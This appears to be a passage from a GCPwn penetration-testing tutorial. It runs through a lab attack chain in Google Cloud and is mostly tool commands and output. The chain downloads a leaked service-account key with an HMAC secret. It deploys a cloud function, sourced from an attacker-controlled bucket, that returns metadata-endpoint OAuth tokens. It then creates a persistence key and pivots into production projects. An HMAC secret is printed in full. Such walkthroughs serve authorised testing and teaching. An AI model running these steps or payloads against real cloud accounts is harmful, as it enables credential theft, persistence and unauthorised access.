(staging-project-1-426001:my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com_1721531912.325192)> modules run enum_buckets -h usage: main.py [-h] [--buckets BUCKETS | --bucket-file BUCKET_FILE] [--blobs BLOBS | --blob-file BLOB_FILE] [--download] [--output OUTPUT] [--file-size FILE_SIZE] [--good-regex GOOD_REGEX] [--time-limit TIME_LIMIT] [--external-curl] [--iam] [--minimal-calls] [--access-id ACCESS_ID] [--hmac-secret HMAC_SECRET] [--list-hmac-secrets] [--validate-buckets] [--txt TXT] [-v] Enumerate Buckets Options options: -h, --help show this help message and exit --buckets BUCKETS Bucket names to proceed with in the format '--buckets bucket1,bucket2,bucket3' [TRUNCATED] --download Attempt to download all blobs enumerated --output OUTPUT Output folder for downloading files [TRUNCATED] --access-id ACCESS_ID Access ID for HMAC key to use in Request --hmac-secret HMAC_SECRET HMAC Secret to use when making API call [TRUNCATED] (staging-project-1-426001:my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com_1721531912.325192)> modules run enum_buckets --access-id GOOG1ELRQCDB33CEMAVFSAR6XOUDNYEV6GJDKKTCHJ3WNX5FLLP3C25DJRDAV --hmac-secret txyzyeg3H/F79ARUP1YxF0CoZAjeUreTytd++icK --buckets service-account-details-2323232 --download > Do you want to scan all projects or current single project? If not specify a project-id(s) with '--project-ids project1,project2,project3' >> [1] All Projects >> [2] Current/Single > [3] Exit > Choose an option: 2 [*] Proceeding with just the current project ID [*]-------------------------------------------------------------------------------------------------------[*] [*] Checking staging-project-1-426001 for buckets/blobs via LIST buckets... [**] Reviewing service-account-details-2323232 [***] LIST Bucket Blobs [***] DOWNLOAD Bucket Blobs [SUMMARY] GCPwn found 1 Buckets (with up to 10 blobs shown each) in staging-project-1-426001 - service-account-details-2323232 - note.txt - staging-project-1-426001-da65b2807066.json *See all blobs with 'data tables cloudstorage-bucketblobs --columns bucket_name,name [--csv filename]' [*]-------------------------------------------------------------------------------------------------------[*]
If we check GatheredData we will see the bucket files were successfully downloaded using the HMAC for SigV4 via the XML Storage API. Going into these files we can see we have a service account key, and a corresponding note.
> tree GatheredData GatheredData └── 1_cool_pentesting_workspace ├── SecretManager │ └── secrets_data_file.csv └── Storage ├── REST │ └── staging-project-1-426001 │ └── old-development-bucket-9282734 │ └── my_staging_service_key.json └── XML └── staging-project-1-426001 └── service-account-details-2323232 ├── note.txt └── staging-project-1-426001-da65b2807066.json > cat staging-project-1-426001-da65b2807066.json { "type": "service_account", "project_id": "staging-project-1-426001", "private_key_id": "da65b2[REDACTED]", "private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkq[REDACTED]\n-----END PRIVATE KEY-----\n", "client_email": "deployer-service-account@staging-project-1-426001.iam.gserviceaccount.com", "client_id": "10251[REDACTED]", "auth_uri": "https://accounts.google.com/o/oauth2/auth", "token_uri": "https://oauth2.googleapis.com/token", "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs", "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/deployer-service-account%40staging-project-1-426001.iam.gserviceaccount.com", "universe_domain": "googleapis.com" } > cat note.txt Hey mark. We are still working on getting deployer-service-account@staging-project-1-426001.iam.gserviceaccount.com working. I modeled it just like production so it should be able to create cloud functions. I was even testing it on the service account I've used in other projects: testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com. I've used it in "production-project-1-426001" and "testbench-426001" successfully but still running into issues.
To end this process, let’s add our newly discovered service account key to gcpwn. Note we are resuming the tool below which shows the credentials we have already added in case we wanted to resume those instead of adding new creds.
> python3 main.py [*] Found existing sessions: [0] New session [1] cool_pentesting_workspace [2] exit Choose an option: 1 [TRUNCATED] [*] Listing existing credentials... [1] leaked_adc_dev_creds (adc) - fwdcloudsec2233@gmail.com [2] my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com_1721531912.325192 (service) - my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com Submit the name or index of an existing credential from above, or add NEW credentials via Application Default Credentails (adc - google.auth.default()), a file pointing to adc credentials, a standalone OAuth2 Token, or Service credentials. See wiki for details on each. To proceed with no credentials just hit ENTER and submit an empty string. [1] *adc <credential_name> [tokeninfo] (ex. adc mydefaultcreds [tokeninfo]) [2] *adc-file <credential_name> <filepath> [tokeninfo] (ex. adc-file mydefaultcreds /tmp/name2.json) [3] *oauth2 <credential_name> <token_value> [tokeninfo] (ex. oauth2 mydefaultcreds ya[TRUNCATED]i3jJK) [4] service <credential_name> <filepath_to_service_creds> (ex. service mydefaultcreds /tmp/name2.json) [TRUNCATED] Input: service deployer_service_account /home/kali/Downloads/staging-project-1-426001-da65b2807066.json [*] Credentials successfuly added Loading in Service Credentials... [*] Loaded credentials deployer_service_account (staging-project-1-426001:deployer_service_account)> creds info Summary for deployer_service_account: Email: deployer-service-account@staging-project-1-426001.iam.gserviceaccount.com Scopes: - N/A Default Project: staging-project-1-426001 All Projects: - my-private-test-project-430102 - staging-project-1-426001 Access Token: N/A
Final Notes
This concludes Part 2 of the sample exploit scenario. Part 3 picks up from where this leaves off and demonstrates a few additional exploit modules. As you use the tool feel free to add issues/pull requests as you run into bugs as the tool continues to be refactored/improved.
Part 3
Having covered several modules in Part 2 regarding cloud storage and secrets manager, I will finish the exploit scenario in this part with modules involving cloud functions and implicit delegation. Note I presented a similar scenario at fwd:cloudsec 2024 (https://www.youtube.com/watch?v=opvv9h3Qe0s&t=1006s) albeit with less modules shown 🙂
This attack path will cover the following steps:
- Quick Overview of Next Steps: Create Cloud Function to Pivot to Attached SA
- Step 7: Create a Cloud Function and Query Metadata Endpoint
- Quick Overview of Next Steps: Creating Service Account Key
- Step 8: Review IAM Bindings & Add a Service Account Key for Current SA
- Quick Overview of Next Steps: Implicit Delegation Across Multiple Projects
- Step 9: Add New Projects and Enumerate
Quick Overview of Next Steps: Create Cloud Function to Pivot to Attached SA
Again, let’s take a quick pause and look at the diagram below. This will effectively cover what our next steps will be. Having just become deployer-service-account, we want to leverage our supposed ability to create cloud functions to pivot to the testbench-serviceaccount-multi service account. While not shown below, the deployer-service-account has iam.serviceAccounts.actAs permissions over testbench-serviceaccount-multi (not covered here in interest of brevity). Using GCPwn we will create a function with the target service account attached and the source code being supplied by an attacker -controlled bucket in a completely different ecosystem (the hosted source code ZIP file is provided in GCPwn). We will then subsequently invoke the newly created V1 function with the GCPwn payload which returns the OAuth credentials for testbench-serviceaccount-multi which we will then use to swap to a new credential set. This would be a case of “standalone OAuth2” credentials. We can only use the standalone OAuth2 token for a given time before it expires, although we will fix that problem in the next step.
Step 7: Create a Cloud Function and Query Metadata Endpoint
Before we run any exploit functions, we will run “enum_all” as the new service account. By running enum_all, we can populate our gcpwn tables with data that will make it easier to run the exploit module later. Noticeably enumerating all data will pick up all the service accounts in the project, which will allow us to prompt for those service accounts later.
(staging-project-1-426001:deployer_service_account)> modules run enum_all --iam [*]-------------------------------------------------------------------------------------------------------[*] [***********] Beginning enumeration for staging-project-1-426001 [***********] [*]-------------------------------------------------------------------------------------------------------[*] [*] Beginning Enumeration of RESOURCE MANAGER Resources... [TRUNCATED] - [staging-project-1-426001] GOOG1ELRQCDB33CEMAVFSAR6XOUDNYEV6GJDKKTCHJ3WNX5FLLP3C25DJRDAV - ACTIVE SA: bucket-accessor@staging-project-1-426001.iam.gserviceaccount.com [TRUNCATED] [*] Beginning Enumeration of IAM Resources... [*] Checking staging-project-1-426001 for service accounts... [SUMMARY] GCPwn found 5 Service Account(s) in staging-project-1-426001 - bucket-accessor@staging-project-1-426001.iam.gserviceaccount.com - deployer-service-account@staging-project-1-426001.iam.gserviceaccount.com - my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com - staging-project-1-426001@appspot.gserviceaccount.com - testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com [*] Checking staging-project-1-426001 for roles... [**] GET on role projects/staging-project-1-426001/roles/CustomRole... [SUMMARY] GCPwn found 1 Custom Role(s) - ListBucketsOnly (projects/staging-project-1-426001/roles/CustomRole) [*] Checking IAM Policy for Organizations... [*] Checking IAM Policy for Folders... [*] Checking IAM Policy for Projects... [*] Checking IAM Policy for Buckets... [X] 403: The user does not have storage.buckets.getIamPolicy permissions [X] 403: The user does not have storage.buckets.getIamPolicy permissions [*] Checking IAM Policy for CloudFunctions... [*] Checking IAM Policy for Compute Instances... [*] Checking IAM Policy for Service Accounts... [*] Checking IAM Policy for Secrets... [***********] Ending enumeration for staging-project-1-426001 [***********] [*]-------------------------------------------------------------------------------------------------------[*]
Having enumerated all the data, we will review the corresponding note from Part 2 Step 6 and highlight some interesting points:
- Supposedly deployer-service-account can create cloud functions.
- The author usually attaches service account “testbench-serviceaccount-multi” to the running function indicating we might have iam.serviceAccounts.actAs permissions over the service account (required to attach a service account to a function).
- The testbench-serviceaccount-multi service account is also used in multiple projects so a successful pivot to that service account might let us break out of our current project.
Pulling back service account credentials via the GCP metadata endpoint within a cloud function is a known technique described [here](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). To execute the attack in GCPwn we will leverage an exploit module, exploit_functions_invoke, to create a V1 cloud function with the specified service account attached, invoke the function, parse the returned OAuth2 creds, and swap the current creds to the new service account credentials per the OAuth2 token.
One prerequisite in creating a cloud function is to supply the function code via a file in a GCP bucket (“–bucket-src”). We as the attacker will have already set up a bucket with open permissions in a completely different ecosystem to point our newly created function to. The hosted payload is the ZIP file that comes with GCPwn if you wanted to also host it in a bucket. As shown below, the code returns the default token via the GCP metadata endpoint:
Codev1v2.zip Source Code:
import requests def data_exfil(request): res_email = requests.get('http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email', headers={'Metadata-Flavor': 'Google'}) res_token = requests.get('http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token', headers={'Metadata-Flavor': 'Google'}) output_data = { "email": res_email.text, "token": res_token.text } return output_data
With everything set up, let’s kick off the exploit. Note the only required flag is “–bucket-src”, and GCPwn will give us options for what service account to attach since we enumerated the service accounts earlier. We also pass in the “–create” and “–v1” flag to create a V1 function. Finally, “–invoke” will call the function while “–assume-creds” instructs GCPwn to become the OAuth2 creds token returned.
(staging-project-1-426001:deployer_service_account)> modules run exploit_functions_invoke --bucket-src gs://attacker-controlled-bucket-used-to-host-payloads-33434/codev1v2.zip --v1 --create --invoke --assume-creds [*]-------------------------------------------------------------------------------------------------------[*] > Provide the function name to create in the format projects/[project_id]/locations/[location_id]/functions/[function_name]? projects/staging-project-1-426001/locations/us-central1/functions/attacker-function > Do you want to specify a service role to attach on create/update? Note IF CREATING a function, the sdk will auto-attach the default editor sa of PROJECT_ID@appspot.gserviceaccount.com (v1) or PROJECT_NUMBER-compute@developer.gserviceaccount.com (v2) and can reply "n" to this question. [y/n] y > Choose an existing sa from those below to attach to the updated/created cloud function: >> [1] deployer-service-account@staging-project-1-426001.iam.gserviceaccount.com, projects/staging-project-1-426001/serviceAccounts/deployer-service-account@staging-project-1-426001.iam.gserviceaccount.com [TRUNCATED] >> [5] testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com, projects/staging-project-1-426001/serviceAccounts/testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com [TRUNCATED] > [7] Exit > Choose an option: 5 [*] Waiting for V1 creation operation to complete, this might take some time... [*] Successfully created projects/staging-project-1-426001/locations/us-central1/functions/attacker-function [*] Response from function is: {"email":"testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com","token":"{\"access_token\":\"ya29.c.c0ASRK0GYmRcAoUtL7_c_13NS[RECATED]\",\"expires_in\":1799,\"token_type\":\"Bearer\"}"} [*] Project ID of credentials is: staging-project-1-426001 [*] Credentials successfully added Loading in OAuth2 token. Note it might be expired based on how long its existed... [*] Loaded credentials testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com_07212024_0355_UTC [*]-------------------------------------------------------------------------------------------------------[*] (staging-project-1-426001:testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com_07212024_0355_UTC)> creds info Summary for testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com_07212024_0355_UTC: Email: testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com Scopes: - N/A Default Project: staging-project-1-426001 All Projects: - my-private-test-project-430102 - staging-project-1-426001 Access Token: ya29.c.c0ASRK0GYmRcAoUtL7_c_13NS[REDACTED] [*]-------------------------------------------------------------------------------------------------------[*]
As a peek behind the scenes here is our newly created function via the UI:
Note the cloud functions exploit module is versatile. You can upload any arbitrary code you want or choose to just invoke existing functions without creating/updating anything. This is useful if you just want to invoke the function you just created at a later time instead of having to make a brand new function with each run. This only-invoke feature is shown below where we get the function name via the corresponding data tables
command (if you didn’t want to copy/paste 🙂 ) and run that through the exploit script with the “—invoke” tag.
(staging-project-1-426001:deployer_service_account)> data tables cloudfunctions-functions --columns namename projects/staging-project-1-426001/locations/us-central1/functions/attacker-function (staging-project-1-426001:deployer_service_account)> modules run exploit_functions_invoke --invoke --function-name projects/staging-project-1-426001/locations/us-central1/functions/attacker-function --v1 [*]-------------------------------------------------------------------------------------------------------[*] [*] Response from function is: {"email":"testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com","token":"{\"access_token\":\"ya29.c.c0ASRK0GYmRcAoUtL7_c_13N[REDACTED]\",\"expires_in\":1243,\"token_type\":\"Bearer\"}"} [*]-------------------------------------------------------------------------------------------------------[*]
One final note but Cloud Functions V2 doesn’t have a function to invoke it in the SDK, only for V1. Thus, it’s usually easier to do everything in Cloud Functions V1. However, if you want/need to use V2 the tool does support that, I just do some manual python requests calls.
Quick Overview of Next Steps: Creating Service Account Key
Again, let’s take a quick pause and look at the diagram below. This will effectively cover what our next steps will be. Having just got the OAuth token for testbench-serviceaccount-multi, we know the token will expire in a finite amount of time. We could keep invoking the cloud function attacker-function and updating the OAuth2 token, but this service account has the viewer role on the project meaning we can see all the IAM policies in the project. By enumerating everything and checking the policies, we will see that testbench-serviceaccount-multi has permissions to create service account keys on testbench-serviceaccount-multi (yep, on itself). Armed with this knowledge we will make a service account key for testbench-serviceaccount-multi for easier stability.
Step 8: Review IAM Bindings & Add a Service Account Key for Current SA
While getting an OAuth2 token for testbench-serviceaccount-multi is great and would let us proceed, we are on a bit of a time crunch as the OAuth2 token will expire. We could just keep invoking our function and running `creds update` to update our `OAuth token`, but lets see what permissions we have. The last step in enum_all is enum_policy_bindings which will try to grab all the policy bindings on all data enumerated thus far. We will run enum_all and see if the module was able to gather any policy bindings for later use.
(staging-project-1-426001:testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com_07212024_0355_UTC)> modules run enum_all --iam > Do you want to scan all projects or current single project? If not specify a project-id(s) with '--project-ids project1,project2,project3' >> [1] All Projects >> [2] Current/Single > [3] Exit > Choose an option: 2 [*] Proceeding with just the current project ID [*]-------------------------------------------------------------------------------------------------------[*] [***********] Beginning enumeration for staging-project-1-426001 [***********] [*]-------------------------------------------------------------------------------------------------------[*] [*] Beginning Enumeration of RESOURCE MANAGER Resources... [*] Searching Organizations [*] Searching All Projects [TRUNCATED] [*] Checking staging-project-1-426001 for roles... [**] GET on role projects/staging-project-1-426001/roles/CustomRole... [SUMMARY] GCPwn found 1 Custom Role(s) - ListBucketsOnly (projects/staging-project-1-426001/roles/CustomRole) [*] Checking IAM Policy for Organizations... [*] Checking IAM Policy for Folders... [*] Checking IAM Policy for Projects... [*] Checking IAM Policy for Buckets... [X] 403: The user does not have storage.buckets.getIamPolicy permissions [X] 403: The user does not have storage.buckets.getIamPolicy permissions [X] 403: The user does not have storage.buckets.getIamPolicy permissions [*] Checking IAM Policy for CloudFunctions... [*] Checking IAM Policy for Compute Instances... [*] Checking IAM Policy for Service Accounts... [*] Checking IAM Policy for Secrets... [***********] Ending enumeration for staging-project-1-426001 [***********] [*]-------------------------------------------------------------------------------------------------------[*]
To check if our module was successful, we can run `creds info` and check if any getIamPolicy permissions were added. In this case it looks like they were as seen by the service account permissions:
(staging-project-1-426001:testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com_07212024_0355_UTC)> creds info Summary for testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com_07212024_0355_UTC: Email: testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com Scopes: - N/A Default Project: staging-project-1-426001 All Projects: - my-private-test-project-430102 - staging-project-1-426001 Access Token: ya29.c.c0ASRK0GYmRcAoUtL7_c_13N[REDACTED] [******] Permission Summary for testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com_07212024_0355_UTC [******] [TRUNCATED] - Service Account Actions Allowed Permissions - staging-project-1-426001 [TRUNCATED] - iam.serviceAccounts.getIamPolicy - 239052134916-compute@developer.gserviceaccount.com (service account) - bucket-accessor@staging-project-1-426001.iam.gserviceaccount.com (service account) - deployer-service-account@staging-project-1-426001.iam.gserviceaccount.com (service account) - my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com (service account) [TRUNCATED] - staging-project-1-426001@appspot.gserviceaccount.com (service account) - testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com (service account) [TRUNCATED]
Note we could have also just enum_service_accounts as shown below if we wanted to be more granular
(staging-project-1-426001:testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com_07212024_0355_UTC)> modules run enum_service_accounts --iam > Do you want to scan all projects or current single project? If not specify a project-id(s) with '--project-ids project1,project2,project3' >> [1] All Projects >> [2] Current/Single > [3] Exit > Choose an option: 2 [*] Proceeding with just the current project ID [*]-------------------------------------------------------------------------------------------------------[*] [*] Checking staging-project-1-426001 for service accounts... [SUMMARY] GCPwn found 6 Service Account(s) in staging-project-1-426001 - 239052134916-compute@developer.gserviceaccount.com - bucket-accessor@staging-project-1-426001.iam.gserviceaccount.com - deployer-service-account@staging-project-1-426001.iam.gserviceaccount.com - my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com - staging-project-1-426001@appspot.gserviceaccount.com - testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com [*]-------------------------------------------------------------------------------------------------------[*]
At this point, we will run the process_iam_bindings module to get a nice summary review of any IAM policy bindings that have been gathered thus far. Unlike creds info
which shows you the granular permissions, process_iam_bindings returns a summary of the predefined/custom roles that it has identified per user which is sometimes easier to read. Note how running it below shows how the testbench-serviceaccount-multi service account has the “roles/iam.serviceAccountKeyAdmin” role on the testbench-serviceaccount-multi service account (itself).
(staging-project-1-426001:testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com_07212024_0355_UTC)> modules run process_iam_bindings [*]-------------------------------------------------------------------------------------------------------[*] [******] Summary for serviceAccount:deployer-service-account@staging-project-1-426001.iam.gserviceaccount.com [******] Service Accounts Summary - "projects/staging-project-1-426001/serviceAccounts/testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com" (in staging-project-1-426001) - roles/iam.serviceAccountUser [******] Summary for serviceAccount:my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com [******] Secret Manager Summary - "projects/239052134916/secrets/ServiceAccountHMACKeys-388372" (in staging-project-1-426001) - roles/secretmanager.secretAccessor [******] Summary for serviceAccount:testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com [******] Service Accounts Summary - "projects/staging-project-1-426001/serviceAccounts/testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com" (in staging-project-1-426001) - roles/iam.serviceAccountKeyAdmin [******] Summary for user:fwdcloudsec2233@gmail.com [******] Service Accounts Summary - "projects/staging-project-1-426001/serviceAccounts/my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com" (in staging-project-1-426001) - roles/iam.serviceAccountKeyAdmin [*]-------------------------------------------------------------------------------------------------------[*]
Since we have the specified role on ourselves, we can create our own service account key to maintain persistence over time as opposed to relying on the OAuth2 token. We will run exploit_service_account_keys and get a new credential set with a similar credential name with a different timestamp.
(staging-project-1-426001:testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com_07212024_0355_UTC)> modules run exploit_service_account_keys --sa projects/staging-project-1-426001/serviceAccounts/testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com [*]-------------------------------------------------------------------------------------------------------[*] > Do you want to create a new sa key or disable/enable an existing one? >> [1] CREATE >> [2] ENABLE >> [3] DISABLE > [4] Exit > Choose an option: 1 > The key was successfully created. Do you want to try assuming the new credentials [y\n].y [*] Credentials successfuly added Loading in Service Credentials... [*] Loaded credentials testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com_1721548959.0264788 [*]-------------------------------------------------------------------------------------------------------[*]
Quick Overview of Next Steps: Implicit Delegation Across Multiple Projects
Again, let’s take a quick pause and look at the diagram below. This will effectively cover what our next steps will be. At this point in time, we will look outside of our current project to other projects. The bucket that contained the note referencing testbench-serviceaccount-multi said the service account was used in other projects like “production-project-1-426001” and “testbench-426001”. We will manually add those projects to GCPwn, run enumerate scripts on all the projects, process the resulting IAM bindings, and run an exploit module to leverage implicit delegation to hop to a service account in production.
Step 9: Add New Projects and Enumerate
In the past steps we were running enum_all on our current project ID. However, the note that was in the same bucket as the earlier JSON key mentioned two other project IDs: “production-project-1-426001” and “testbench-426001”. Per the note it sounds like testbench-serviceaccount-multi has permissions in those other projects. To test this theory, we will add those project IDs manually to GCPwn so that future modules can run against these project IDs when prompted.
(staging-project-1-426001:testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com_1721548959.0264788)> projects [*] Current projects known for all credentials: my-private-test-project-430102 staging-project-1-426001 (staging-project-1-426001:testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com_1721548959.0264788)> projects add production-project-1-426001 (staging-project-1-426001:testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com_1721548959.0264788)> projects add testbench-426001 (staging-project-1-426001:testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com_1721548959.0264788)> projects [*] Current projects known for all credentials: my-private-test-project-430102 staging-project-1-426001 production-project-1-426001 testbench-426001
With the new projects added, let’s run enum_all on ALL project IDs known. Note this will include our original my-private-test-project-430102 project. To avoid this, you could run `projects rm <project_id>` or just pass in the “–project-ids” of the projects you want to run the module against.
(staging-project-1-426001:testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com_1721548959.0264788)> modules run enum_all --iam > Do you want to scan all projects or current single project? If not specify a project-id(s) with '--project-ids project1,project2,project3' >> [1] All Projects >> [2] Current/Single > [3] Exit > Choose an option: 1 [*]-------------------------------------------------------------------------------------------------------[*] [***********] Beginning enumeration for my-private-test-project-430102 [***********] [*]-------------------------------------------------------------------------------------------------------[*] [*] Beginning Enumeration of RESOURCE MANAGER Resources... [*] Searching Organizations [*] Searching All Projects [*] Searching All Folders [-] No organizations, projects, or folders were identified. You might be restricted with regard to projects. If you know fo a project name add it manually via 'projects add <project_name> from the main menu [*] Getting remainting projects/folders via recursive folder/project list calls starting with org node if possible [*] NOTE: This might take a while depending on the size of the domain [SUMMARY] GCPwn found or retrieved NO Organization(s) [SUMMARY] GCPwn found or retrieved NO Folder(s) [SUMMARY] GCPwn found or retrieved NO Project(s) [*] Beginning Enumeration of CLOUD COMPUTE Resources... [*] Checking my-private-test-project-430102 for instances... [X] STATUS 403: Compute API does not appear to be enabled for project my-private-test-project-430102 [SUMMARY] GCPwn found or retrieved NO Compute Instance(s) in my-private-test-project-430102 [*] Checking Cloud Compute Project my-private-test-project-430102... [X] STATUS 403: Compute API does not appear to be enabled for project my-private-test-project-430102 [SUMMARY] GCPwn found or retrieved NO Compute Project(s) with potential metadata shown below. [*] Beginning Enumeration of CLOUD FUNCTION Resources... [*] Checking my-private-test-project-430102 for functions... [X] 403 The Cloud Functions API is not enabled for projects/my-private-test-project-430102/locations/- [SUMMARY] GCPwn found or retrieved NO Function(s) in my-private-test-project-430102 [*] Beginning Enumeration of CLOUD STORAGE Resources... [X] 403: The user does not have storage.hmacKeys.list permissions on bucket [*] Checking my-private-test-project-430102 for HMAC keys... [SUMMARY] GCPwn found or retrieved NO HMAC Key(s) with corresponding service accounts (SAs) in my-private-test-project-430102 [*] Checking my-private-test-project-430102 for buckets/blobs via LIST buckets... [X] The user does not have storage.buckets.list permissions on bucket [*] Beginning Enumeration of SECRETS MANAGER Resources... [*] Beginning Enumeration of IAM Resources... [*] Checking my-private-test-project-430102 for service accounts... [SUMMARY] GCPwn found or retrieved NO Service Account(s) in my-private-test-project-430102 [*] Checking my-private-test-project-430102 for roles... [SUMMARY] GCPwn found or retrieved NO Custom Role(s) [***********] Ending enumeration for my-private-test-project-430102 [***********] [*]-------------------------------------------------------------------------------------------------------[*] [***********] Beginning enumeration for staging-project-1-426001 [***********] [*]-------------------------------------------------------------------------------------------------------[*] [*] Beginning Enumeration of CLOUD COMPUTE Resources... [*] Checking staging-project-1-426001 for instances... [X] STATUS 403: Compute API does not appear to be enabled for project staging-project-1-426001 [SUMMARY] GCPwn found or retrieved NO Compute Instance(s) in staging-project-1-426001 [*] Checking Cloud Compute Project staging-project-1-426001... [X] STATUS 403: Compute API does not appear to be enabled for project staging-project-1-426001 [SUMMARY] GCPwn found or retrieved NO Compute Project(s) with potential metadata shown below. [*] Beginning Enumeration of CLOUD FUNCTION Resources... [*] Checking staging-project-1-426001 for functions... [**] Reviewing projects/staging-project-1-426001/locations/us-central1/functions/attacker-function [***] GET Individual Function [***] TEST Function Permissions [SUMMARY] GCPwn found 1 Function(s) in staging-project-1-426001 - [us-central1] attacker-function [*] Beginning Enumeration of CLOUD STORAGE Resources... [*] Checking staging-project-1-426001 for HMAC keys... [SUMMARY] GCPwn found 1 HMAC Key(s) with corresponding service accounts (SAs) in staging-project-1-426001 - [staging-project-1-426001] GOOG1ELRQCDB33CEMAVFSAR6XOUDNYEV6GJDKKTCHJ3WNX5FLLP3C25DJRDAV - ACTIVE SA: bucket-accessor@staging-project-1-426001.iam.gserviceaccount.com [*] Checking staging-project-1-426001 for buckets/blobs via LIST buckets... [**] Reviewing gcf-sources-239052134916-us-central1 [***] GET Bucket Object [***] TEST Bucket Permissions [***] LIST Bucket Blobs [***] GET Bucket Blobs [**] Reviewing old-development-bucket-9282734 exit blob counts for this bucket... [***] GET Bucket Object [***] TEST Bucket Permissions [***] LIST Bucket Blobs [***] GET Bucket Blobs [**] Reviewing service-account-details-2323232exit blob counts for this bucket... [***] GET Bucket Object [***] TEST Bucket Permissions [***] LIST Bucket Blobs [***] GET Bucket Blobs [SUMMARY] GCPwn found 3 Buckets (with up to 10 blobs shown each) in staging-project-1-426001 - gcf-sources-239052134916-us-central1 - DO_NOT_DELETE_THE_BUCKET.md - attacker-function-aff7ccd2-6b13-4f6a-888f-471f15fd3a37/version-1/function-source.zip - old-development-bucket-9282734 - my_staging_service_key.json - service-account-details-2323232 - note.txt - staging-project-1-426001-da65b2807066.json *See all blobs with 'data tables cloudstorage-bucketblobs --columns bucket_name,name [--csv filename]' [*] Beginning Enumeration of SECRETS MANAGER Resources... [**] [staging-project-1-426001] Reviewing projects/239052134916/secrets/ServiceAccountHMACKeys-388372 [***] GET Base Secret Entity [***] TEST Secret Permissions [***] LIST Secret Versions [****] GET Secret Version 4 [****] TEST Secret Version Permissions [****] GETTING Secret Values For 4 [****] GET Secret Version 3 [****] TEST Secret Version Permissions [****] GETTING Secret Values For 3 [****] GET Secret Version 2 [****] TEST Secret Version Permissions [****] GETTING Secret Values For 2 [****] GET Secret Version 1 [****] TEST Secret Version Permissions [****] GETTING Secret Values For 1 [SUMMARY] GCPwn found 1 Secret(s) in staging-project-1-426001 - ServiceAccountHMACKeys-388372 - 1: <value_not_found> - 2: <value_not_found> - 3: <value_not_found> - 4: <value_not_found> [*] Beginning Enumeration of IAM Resources... [*] Checking staging-project-1-426001 for service accounts... [SUMMARY] GCPwn found 6 Service Account(s) in staging-project-1-426001 - 239052134916-compute@developer.gserviceaccount.com - bucket-accessor@staging-project-1-426001.iam.gserviceaccount.com - deployer-service-account@staging-project-1-426001.iam.gserviceaccount.com - my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com - staging-project-1-426001@appspot.gserviceaccount.com - testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com [*] Checking staging-project-1-426001 for roles... [**] GET on role projects/staging-project-1-426001/roles/CustomRole... [SUMMARY] GCPwn found 1 Custom Role(s) - ListBucketsOnly (projects/staging-project-1-426001/roles/CustomRole) [***********] Ending enumeration for staging-project-1-426001 [***********] [*]-------------------------------------------------------------------------------------------------------[*] [***********] Beginning enumeration for production-project-1-426001 [***********] [*]-------------------------------------------------------------------------------------------------------[*] [*] Beginning Enumeration of CLOUD COMPUTE Resources... [*] Checking production-project-1-426001 for instances... [**] Reviewing instance-20240630-025631 [***] GET Instance [***] TEST Instance Permissions [SUMMARY] GCPwn found 1 Compute Instance(s) in production-project-1-426001 - zones/us-central1-c - instance-20240630-025631 [*] Checking Cloud Compute Project production-project-1-426001... [SUMMARY] GCPwn found 1 Compute Project(s) with potential metadata shown below. - production-project-1-426001 - KEY: KeyValue VALUE: Use secret "serviceAccountKey" *Review any truncated data with 'data tables cloudcompute-projects --columns project_id,common_instance_metadata [--csv filename]' [*] Beginning Enumeration of CLOUD FUNCTION Resources... [*] Checking production-project-1-426001 for functions... [**] Reviewing projects/production-project-1-426001/locations/us-central1/functions/function-12 [***] GET Individual Function [***] TEST Function Permissions [SUMMARY] GCPwn found 1 Function(s) in production-project-1-426001 - [us-central1] function-12 [*] Beginning Enumeration of CLOUD STORAGE Resources... [*] Checking production-project-1-426001 for HMAC keys... [SUMMARY] GCPwn found or retrieved NO HMAC Key(s) with corresponding service accounts (SAs) in 